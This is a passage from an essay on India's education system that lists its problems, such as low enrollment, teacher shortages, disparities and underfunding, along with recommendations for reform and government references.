to opt for many online degrees or courses from various university In the modern times, students are provided with extensive scope and courses to choose from and they enjoy the opportunity of selecting the required field. The system of distance Education in India is becoming increasingly popular. The student choosing distance learning process are benefitted with modern pattern followed. Development of Education in India ensures that all Indian citizens will receive Education in spite of financial constraints or unavailability of college and school. In addition the non formal Education is launched which is about acknowledging the importance of Education, learning and training which takes place outside recognized Educational institutions. It is the process of learning throughout life. PROBLEMS Undoubtedly India has made a vast improvement in education sector but stilk it lacks in some or the other way like  1)The enrollment rate in India had shown progress of gross enrollment rate in higher education to 17. 2 percent over the years yet it was short as per the world standard as seen,the Country was behind China 19 percent and UK 60 percent and USA 82 percent 2) The teacher strength in institutions of higher education was far from adequate. 3)Gross enrollment has increasd but were not matching anywhere with developed countries 4)Wide variations are seen in rural and urban areas 5)Regional disparities are also visible. 6)Education given is irrelevant according to job market  7)Innovation and creation are missing from the field 8)Education is seen as a object of providing immediate skills and tools, not means for future growth 9)By far one of the most pressing problem is that unavailability of money or inadequate funding of Indian Education system. RECOMMENDATIONS Our Education system still in this era faces many problems. funny thing is that from colonial times, few things have changed. we have established IITs,IIMs and other Institute of excellence. Students now routinely score 90 percent marks still find difficult to get into college of their choice. we live in a country where the people see Education as means of climbing the social and economic ladder. Some of the useful measures to improve our education system are following: 1)Private capital should be allowed in Education to reach at excellence level and compete with developed nations 2)Personalize education should focused as one size does not fit all humans. So Education should be given according to its demand. 3)Implement massive technology infrastructure for Education 4)Focus on skill based technology according to modern era 5)Reward creativity, original thinking, research and innovation. 6)Redifine the purpose of Education system 7)Take mediocrity out of the system 8)Policy makers in India should continue to develop and implement an accreditation system that can over time become a key measure of quality. 9)An Effort is needed to gradually phase in methods to link funding to quality measure. 10)Raising the level of Education, to be competitive like developed nations. 11)Identify the need of business and industry, then supply Education to fulfill their demand REFERENCES Ministry of Human Resource Development. (2001). Selected Educational Statistics 2001-2002, Government of India, New Delhi. Ministry of Human Resource Development. (2001). Annual Report, 2003-2004, MHRD, Government of India, New Delhi. Shukla, Snehlatha, et. al (1998). Attainment of Primary School Children in India, NCERT. Strides in Education in India, Ministry of Human Resource Development, Government of India Registrar General and Census Commissioner. (2001). Census of India 2001. Provisional Population Totals Paper-I of 2001, Controller of Publications, New Delhi. Ministry of Human Resource Development, Analysis of Budgeted Expenditure on Education 2000-01 to 2002-03, Government of India,New Delhi.